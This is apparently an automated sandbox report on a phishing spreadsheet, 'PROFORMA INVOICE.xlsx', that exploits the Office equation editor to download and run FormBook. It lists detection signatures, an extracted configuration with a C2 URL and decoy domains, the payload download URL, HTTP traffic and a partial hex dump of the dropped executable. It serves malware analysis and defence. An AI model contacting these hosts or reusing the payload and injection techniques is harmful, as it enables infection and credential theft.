Windows Analysis Report
PROFORMA INVOICE.xlsx

Overview

General Information

Sample Name: PROFORMA INVOICE.xlsx
Analysis ID: 626593
MD5: 5b9ddbdf0a0af0788eeceeacec2f0295
SHA1: 77687d59abbd0b3c4eecc80abbe30d33a47e781c
SHA256: e11f7d510b899e00e0cf10dc360400fd38f180e9c72f42c465c3a470075cd9ea
Tags: VelvetSweatshopxlsx
Infos:

Detection

FormBook
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Sigma detected: EQNEDT32.EXE connecting to internet
Yara detected AntiVM3
System process connects to network (likely due to code injection or exploit)
Antivirus detection for URL or domain
Found malware configuration
Multi AV Scanner detection for submitted file
Yara detected FormBook
Malicious sample detected (through community Yara rule)
Sigma detected: File Dropped By EQNEDT32EXE
Tries to steal Mail credentials (via file / registry access)
Maps a DLL or memory area into another process
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
.NET source code contains potential unpacker
Injects a PE file into a foreign processes
Shellcode detected
Office equation editor drops PE file
Tries to detect virtualization through RDTSC time measurements
Adds a directory exclusion to Windows Defender
Uses schtasks.exe or at.exe to add and modify task schedules
Tries to harvest and steal browser information (history, passwords, etc)
Sample uses process hollowing technique
Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)
.NET source code contains method to dynamically call methods (often used by packers)
Queues an APC in another process (thread injection)
Machine Learning detection for dropped file
Modifies the context of a thread in another process (thread injection)
C2 URLs / IPs found in malware configuration
Office equation editor establishes network connection
Drops PE files to the user root directory
Antivirus or Machine Learning detection for unpacked file
May sleep (evasive loops) to hinder dynamic analysis
Uses code obfuscation techniques (call, push, ret)
Detected potential crypto function
Sample execution stops while process was sleeping (likely an evasion)
HTTP GET or POST without a user agent
Downloads executable code via HTTP
Contains long sleeps (>= 3 min)
Abnormal high CPU Usage
Potential document exploit detected (unknown TCP traffic)
Drops PE files
Tries to load missing DLLs
Contains functionality to read the PEB
Contains functionality to download and execute PE files
Checks if the current process is being debugged
Drops PE files to the user directory
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Creates a process in suspended mode (likely to inject code)
Queries the volume information (name, serial number etc) of a device
Yara signature match
Internet Provider seen in connection with other malware
Found potential string decryption / allocating functions
Contains functionality to call native functions
Potential document exploit detected (performs DNS queries)
Contains functionality for execution timing, often used to detect debuggers
Searches the installation path of Mozilla Firefox
Enables debug privileges
Found inlined nop instructions (likely shell or obfuscated code)
Office Equation Editor has been started
Contains functionality to download and launch executables
Potential document exploit detected (performs HTTP gets)
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Classification

AV Detection
barindex
Antivirus detection for URL or domain
Source: http://www.dems-clicks.com/n6g4/?Rju=oW3KVVYfOUtMWnx9E4fO+4eOl+SZoa0wNCifvEB8Y9jnCg3EyPPrm8173PHAA8seoyylQg==&ohA=4hdXYFAH Avira URL Cloud: Label: malware
Source: http://www.employeebnsf.com/n6g4/?ohA=4hdXYFAH&Rju=/8Ga1vKBK5Zv+SvpDfc9R87wDDB6IH5FC+aL3DgDAA8ZWL71dgMkGG8I5dFlam/RYjehgQ== Avira URL Cloud: Label: malware
Found malware configuration
Source: 00000009.00000002.1069848663.0000000000140000.00000040.10000000.00040000.00000000.sdmp Malware Configuration Extractor: FormBook {"C2 list": ["www.admincost.com/n6g4/"], "decoy": ["bw589jumpb.xyz", "lojas-marias.com", "gadgersvip.com", "zeavd.com", "moment4miracles.com", "wildcanetours.com", "executivetravelandlogistics.com", "uspplongee.com", "schilova.online", "smoothie-optics.com", "masterima.net", "kickball.site", "theastralark.com", "nick-sylvestro.com", "properscooter.com", "wave-thermodynamics.com", "bitcollide.com", "xed5555.com", "tsue-sangyo.com", "lucianaejoaoalberto.com", "6084pinelake.info", "plentyhearty.com", "findmylostphone.me", "cliffpassphotographyllc.com", "goddessboi.com", "vulkan-platinum-online.info", "jumpn-giveaway.online", "linymar.xyz", "topgir.site", "oifreunion.com", "lewks.beauty", "servellobody.com", "eagle-five.com", "agelessfish.com", "daulat-kantorbahasamalut.com", "zombarias.com", "chimneyrepairbiloxi.com", "starline-pools.com", "financeenovationinc.com", "sakvoyge.online", "46458.pet", "babyminer.xyz", "alcosto.club", "aeroyogabrasil.com", "cellphstudy.com", "bldh45.xyz", "sguoffcampusrentals.com", "nehalooks.com", "employeebnsf.com", "duniacuan.online", "running-diary.site", "o-taguro.com", "iacli.run", "cariniclinicalconsulting.com", "btcspay.xyz", "funaoka-watanabedent.com", "jamesreadtanusa.com", "dems-clicks.com", "dowsjonesc.top", "joseikinmadoguchi.com", "hulizb6.com", "luxurybathshowers.com", "kapamilla.com", "duowb.com"]}
Multi AV Scanner detection for submitted file
Source: PROFORMA INVOICE.xlsx Virustotal: Detection: 35% Perma Link
Source: PROFORMA INVOICE.xlsx ReversingLabs: Detection: 24%
Yara detected FormBook
Source: Yara match File source: 9.0.vbc.exe.400000.9.unpack, type: UNPACKEDPE
Source: Yara match File source: 4.2.vbc.exe.3842f58.9.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.2.vbc.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.0.vbc.exe.400000.7.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.0.vbc.exe.400000.7.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.2.vbc.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.0.vbc.exe.400000.5.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.0.vbc.exe.400000.9.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000009.00000002.1069848663.0000000000140000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000D.00000000.1175795140.00000000000C0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000009.00000000.995456995.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000009.00000002.1069986638.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000002.999123801.0000000003842000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000000.1028504490.000000000B6A9000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000002.1178186749.00000000000C0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000000.1039502497.000000000B6A9000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000009.00000002.1069951838.0000000000380000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000D.00000000.1174695923.00000000000C0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000009.00000000.995827598.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000002.1178294756.0000000000230000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000002.1178354979.0000000000260000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Machine Learning detection for dropped file
Source: C:\Users\Public\vbc.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Roaming\dDqpEdJEtzi.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\vbc[1].exe Joe Sandbox ML: detected
Antivirus or Machine Learning detection for unpacked file
Source: 9.0.vbc.exe.400000.9.unpack Avira: Label: TR/Crypt.ZPACK.Gen
Source: 9.0.vbc.exe.400000.7.unpack Avira: Label: TR/Crypt.ZPACK.Gen
Source: 9.2.vbc.exe.400000.0.unpack Avira: Label: TR/Crypt.ZPACK.Gen
Source: 9.0.vbc.exe.400000.5.unpack Avira: Label: TR/Crypt.ZPACK.Gen

Exploits
barindex
Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Users\Public\vbc.exe
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Users\Public\vbc.exe Jump to behavior
Office equation editor establishes network connection
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Network connect: IP: 198.12.89.166 Port: 80 Jump to behavior
Office Equation Editor has been started
Source: unknown Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll Jump to behavior
Source: Binary string: wntdll.pdb source: vbc.exe, vbc.exe, 00000009.00000003.997655136.00000000006E0000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000009.00000002.1070445189.00000000009F0000.00000040.00000800.00020000.00000000.sdmp, vbc.exe, 00000009.00000003.996323896.0000000000580000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000009.00000002.1070186270.0000000000870000.00000040.00000800.00020000.00000000.sdmp, mstsc.exe
Source: Binary string: mstsc.pdb source: vbc.exe, 00000009.00000002.1070927704.0000000001140000.00000040.10000000.00040000.00000000.sdmp, vbc.exe, 00000009.00000003.1067795163.0000000001140000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000009.00000003.1068222397.0000000002C30000.00000004.00000800.00020000.00000000.sdmp
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Roaming Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Roaming\Microsoft Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 11_2_000D1660 FindFirstFileW,FindNextFileW,FindClose, 11_2_000D1660

Software Vulnerabilities
barindex
Shellcode detected
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_03690401 URLDownloadToFileW,ShellExecuteExW,ExitProcess, 2_2_03690401
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_03690462 ShellExecuteExW,ExitProcess, 2_2_03690462
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_03690396 LoadLibraryW,URLDownloadToFileW,ShellExecuteExW,ExitProcess, 2_2_03690396
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_0369044B ShellExecuteExW,ExitProcess, 2_2_0369044B
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_0369030A URLDownloadToFileW,ShellExecuteExW,ExitProcess, 2_2_0369030A
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_03690480 ExitProcess, 2_2_03690480
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_03690326 URLDownloadToFileW,ShellExecuteExW,ExitProcess, 2_2_03690326
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_036902F1 ExitProcess, 2_2_036902F1
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_036903B0 URLDownloadToFileW,ShellExecuteExW,ExitProcess, 2_2_036903B0
Potential document exploit detected (unknown TCP traffic)
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 198.12.89.166:80
Potential document exploit detected (performs DNS queries)
Source: global traffic DNS query: name: www.employeebnsf.com
Found inlined nop instructions (likely shell or obfuscated code)
Source: C:\Users\Public\vbc.exe Code function: 4x nop then pop edi 9_2_00417317
Potential document exploit detected (performs HTTP gets)
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 198.12.89.166:80

Networking
barindex
System process connects to network (likely due to code injection or exploit)
Source: C:\Windows\explorer.exe Domain query: www.employeebnsf.com
Source: C:\Windows\explorer.exe Network Connect: 185.53.179.171 80 Jump to behavior
Source: C:\Windows\explorer.exe Network Connect: 5.183.8.183 80 Jump to behavior
Source: C:\Windows\explorer.exe Domain query: www.dems-clicks.com
C2 URLs / IPs found in malware configuration
Source: Malware configuration extractor URLs: www.admincost.com/n6g4/
HTTP GET or POST without a user agent
Source: global traffic HTTP traffic detected: GET /n6g4/?ohA=4hdXYFAH&Rju=/8Ga1vKBK5Zv+SvpDfc9R87wDDB6IH5FC+aL3DgDAA8ZWL71dgMkGG8I5dFlam/RYjehgQ== HTTP/1.1Host: www.employeebnsf.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /n6g4/?Rju=oW3KVVYfOUtMWnx9E4fO+4eOl+SZoa0wNCifvEB8Y9jnCg3EyPPrm8173PHAA8seoyylQg==&ohA=4hdXYFAH HTTP/1.1Host: www.dems-clicks.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Downloads executable code via HTTP
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 14 May 2022 13:10:55 GMTServer: Apache/2.4.53 (Win64) OpenSSL/1.1.1n PHP/7.4.29Last-Modified: Sat, 14 May 2022 08:24:47 GMTETag: "b2a00-5def4862be45b"Accept-Ranges: bytesContent-Length: 731648Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: application/x-msdownloadData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 4f 67 7f 62 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 30 00 00 20 0b 00 00 08 00 00 00 00 00 00 0a 3f 0b 00 00 20 00 00 00 40 0b 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 80 0b 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 b8 3e 0b 00 4f 00 00 00 00 40 0b 00 c4 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 0b 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 10 1f 0b 00 00 20 00 00 00 20 0b 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 c4 05 00 00 00 40 0b 00 00 06 00 00 00 22 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 60 0b 00 00 02 00 00 00 28 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ec 3e 0b 00 00 00 00 00 48 00 00 00 02 00 05 00 88 b9 01 00 80 47 01 00 03 00 00 00 9d 00 00 06 08 01 03 00 b0 3d 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 26 02 28 1b 00 00 0a 00 00 2a 46 02 28 1b 00 00 0a 00 00 02 03 28 07 00 00 06 00 2a 2a 02 03 28 1c 00 00 0a 00 00 2a 2e 02 03 04 28 1d 00 00 0a 00 00 2a 2e 02 03 04 28 1e 00 00 0a 00 00 2a 1e 02 7b 01 00 00 04 2a 22 02 03 7d 01 00 00 04 2a 26 02 28 01 00 00 06 00 00 2a 46 02 28 01 00 00 06 00 00 02 03 28 07 00 00 06 00 2a 2a 02 03 28 03 00 00 06 00 00 2a 2e 02 03 04 28 04 00 00 06 00 00 2a 2e 02 03 04 28 05 00 00 06 00 00 2a 00 13 30 02 00 18 00 00 00 01 00 00 11 00 28 c2 01 00 06 02 6f 1f 00 00 0a 0a 06 6f d4 01 00 06 0b 2b 00 07 2a 13 30 02 00 18 00 00 00 02 00 00 11 00 28 c2 01 00 06 02 6f 1f 00 00 0a 0a 06 6f d7 01 00 06 0b 2b 00 07 2a 13 30 02 00 19 00 00 00 03 00 00 11 00 28 c2 01 00 06 02 6f 1f 00 00 0a 0a 06 03 6f da 01 00 06 0b 2b 00 07 2a 00 00 00 13 30 02 00 19 00 00 00 03 00 00 11 00 28 c2 01 00 06 02 6f 1f 00 00 0a 0a 06 03 6f d9 01 00 06 0b 2b 00 07 2a 00 00 0
Contains functionality to download and execute PE files
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_03690401 URLDownloadToFileW,ShellExecuteExW,ExitProcess, 2_2_03690401
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: AS-COLOCROSSINGUS AS-COLOCROSSINGUS
Source: Joe Sandbox View ASN Name: INTERXSCH INTERXSCH
Source: Joe Sandbox View ASN Name: TEAMINTERNET-ASDE TEAMINTERNET-ASDE
Source: EQNEDT32.EXE, 00000002.00000002.969951865.0000000000644000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://198.12.89.166/55/vbc.exeg
Source: EQNEDT32.EXE, 00000002.00000002.969988460.0000000000669000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://198.12.89.166/55/vbc.exehhC:
Source: EQNEDT32.EXE, 00000002.00000002.970273455.0000000003690000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://198.12.89.166/55/vbc.exej
Source: EQNEDT32.EXE, 00000002.00000002.969951865.0000000000644000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://198.12.89.166/55/vbc.exen
Source: explorer.exe, 0000000A.00000000.1034409224.00000000046D0000.00000002.00000001.00040000.00000000.sdmp String found in binary or memory: http://computername/printers/printername/.printer
Source: explorer.exe, 0000000A.00000000.1055600196.0000000003B10000.00000002.00000001.00040000.00000000.sdmp String found in binary or memory: http://investor.msn.com
Source: explorer.exe, 0000000A.00000000.1055600196.0000000003B10000.00000002.00000001.00040000.00000000.sdmp String found in binary or memory: http://investor.msn.com/
Source: explorer.exe, 0000000A.00000000.999837899.0000000000335000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000A.00000000.1029308104.0000000000335000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://java.sun.com
Source: explorer.exe, 0000000A.00000000.1057754396.0000000003CF7000.00000002.00000001.00040000.00000000.sdmp String found in binary or memory: http://localizability/practices/XML.asp
Source: explorer.exe, 0000000A.00000000.1057754396.0000000003CF7000.00000002.00000001.00040000.00000000.sdmp String found in binary or memory: http://localizability/practices/XMLConfiguration.asp
Source: explorer.exe, 0000000A.00000000.1013251551.0000000001DD0000.00000002.00000001.00040000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous.
Source: vbc.exe, 00000004.00000002.998332695.0000000002721000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000004.00000002.998529663.00000000027CF000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: explorer.exe, 0000000A.00000000.1006808699.0000000006450000.00000002.00000001.00040000.00000000.sdmp String found in binary or memory: http://servername/isapibackend.dll
Source: explorer.exe, 0000000A.00000000.1057754396.0000000003CF7000.00000002.00000001.00040000.00000000.sdmp String found in binary or memory: http://services.msn.com/svcs/oe/certpage.asp?name=%s&email=%s&&Check
Source: explorer.exe, 0000000A.00000000.1034409224.00000000046D0000.00000002.00000001.00040000.00000000.sdmp String found in binary or memory: http://treyresearch.net
Source: explorer.exe, 0000000A.00000000.1034409224.00000000046D0000.00000002.00000001.00040000.00000000.sdmp String found in binary or memory: http://wellformedweb.org/CommentAPI/
Source: explorer.exe, 0000000A.00000000.1057754396.0000000003CF7000.00000002.00000001.00040000.00000000.sdmp String found in binary or memory: http://windowsmedia.com/redir/services.asp?WMPFriendly=true
Source: explorer.exe, 0000000A.00000000.1013251551.0000000001DD0000.00000002.00000001.00040000.00000000.sdmp String found in binary or memory: http://www.%s.comPA
Source: explorer.exe, 0000000A.00000000.999837899.0000000000335000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000A.00000000.1029308104.0000000000335000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.autoitscript.com/autoit3
Source: explorer.exe, 0000000A.00000000.1034409224.00000000046D0000.00000002.00000001.00040000.00000000.sdmp String found in binary or memory: http://www.expedia.com/pub/agent.dll?qscr=mcst&strt1=%1&city1=%2&stnm1=%4&zipc1=%3&cnty1=5?http://ww
Source: explorer.exe, 0000000A.00000000.1055600196.0000000003B10000.00000002.00000001.00040000.00000000.sdmp String found in binary or memory: http://www.hotmail.com/oe
Source: explorer.exe, 0000000A.00000000.1057754396.0000000003CF7000.00000002.00000001.00040000.00000000.sdmp String found in binary or memory: http://www.icra.org/vocabulary/.
Source: explorer.exe, 0000000A.00000000.1034409224.00000000046D0000.00000002.00000001.00040000.00000000.sdmp String found in binary or memory: http://www.iis.fhg.de/audioPA
Source: explorer.exe, 0000000A.00000000.1024716428.0000000007539000.00000004.00000010.00020000.00000000.sdmp, explorer.exe, 0000000A.00000000.1036517344.0000000007539000.00000004.00000010.00020000.00000000.sdmp String found in binary or memory: http://www.mozilla.com0
Source: explorer.exe, 0000000A.00000000.1055600196.0000000003B10000.00000002.00000001.00040000.00000000.sdmp String found in binary or memory: http://www.msnbc.com/news/ticker.txt
Source: explorer.exe, 0000000A.00000000.1037414892.00000000084C0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000A.00000000.1009836378.000000000869E000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://www.piriform.com/ccleaner
Source: explorer.exe, 0000000A.00000000.1009597733.0000000008617000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000A.00000000.1026640673.0000000008617000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://www.piriform.com/ccleaner1SPS0
Source: explorer.exe, 0000000A.00000000.1038616558.0000000008807000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000A.00000000.1026858297.000000000869E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000A.00000000.1009597733.0000000008617000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000A.00000000.1026640673.0000000008617000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000A.00000000.1009836378.000000000869E000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://www.piriform.com/ccleanerhttp://www.piriform.com/ccleanerv
Source: explorer.exe, 0000000A.00000000.1003477696.0000000002CBF000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://www.piriform.com/ccleanerq
Source: explorer.exe, 0000000A.00000000.1033807788.0000000004385000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://www.piriform.com/ccleanerv
Source: explorer.exe, 0000000A.00000000.1055600196.0000000003B10000.00000002.00000001.00040000.00000000.sdmp String found in binary or memory: http://www.windows.com/pctv.
Source: explorer.exe, 0000000A.00000000.999837899.0000000000335000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000A.00000000.1029308104.0000000000335000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://support.mozilla.org
Source: explorer.exe, 0000000A.00000000.999837899.0000000000335000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000A.00000000.1029308104.0000000000335000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org
Source: explorer.exe, 0000000A.00000000.999837899.0000000000335000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000A.00000000.1029308104.0000000000335000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/firefox/52.0.1/releasenotes
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\19CBAA30.emf Jump to behavior
Source: unknown DNS traffic detected: queries for: www.employeebnsf.com
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_03690401 URLDownloadToFileW,ShellExecuteExW,ExitProcess, 2_2_03690401
Source: global traffic HTTP traffic detected: GET /55/vbc.exe HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 198.12.89.166Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /n6g4/?ohA=4hdXYFAH&Rju=/8Ga1vKBK5Zv+SvpDfc9R87wDDB6IH5FC+aL3DgDAA8ZWL71dgMkGG8I5dFlam/RYjehgQ== HTTP/1.1Host: www.employeebnsf.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /n6g4/?Rju=oW3KVVYfOUtMWnx9E4fO+4eOl+SZoa0wNCifvEB8Y9jnCg3EyPPrm8173PHAA8seoyylQg==&ohA=4hdXYFAH HTTP/1.1Host: www.dems-clicks.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginxDate: Sat, 14 May 2022 13:12:19 GMTContent-Type: text/htmlContent-Length: 146Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sat, 14 May 2022 13:12:24 GMTServer: Apache/2.4.29 (Ubuntu)Content-Length: 281Connection: closeContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 77 77 77 2e 64 65 6d 73 2d 63 6c 69 63 6b 73 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at www.dems-clicks.com Port 80</address></body></html>
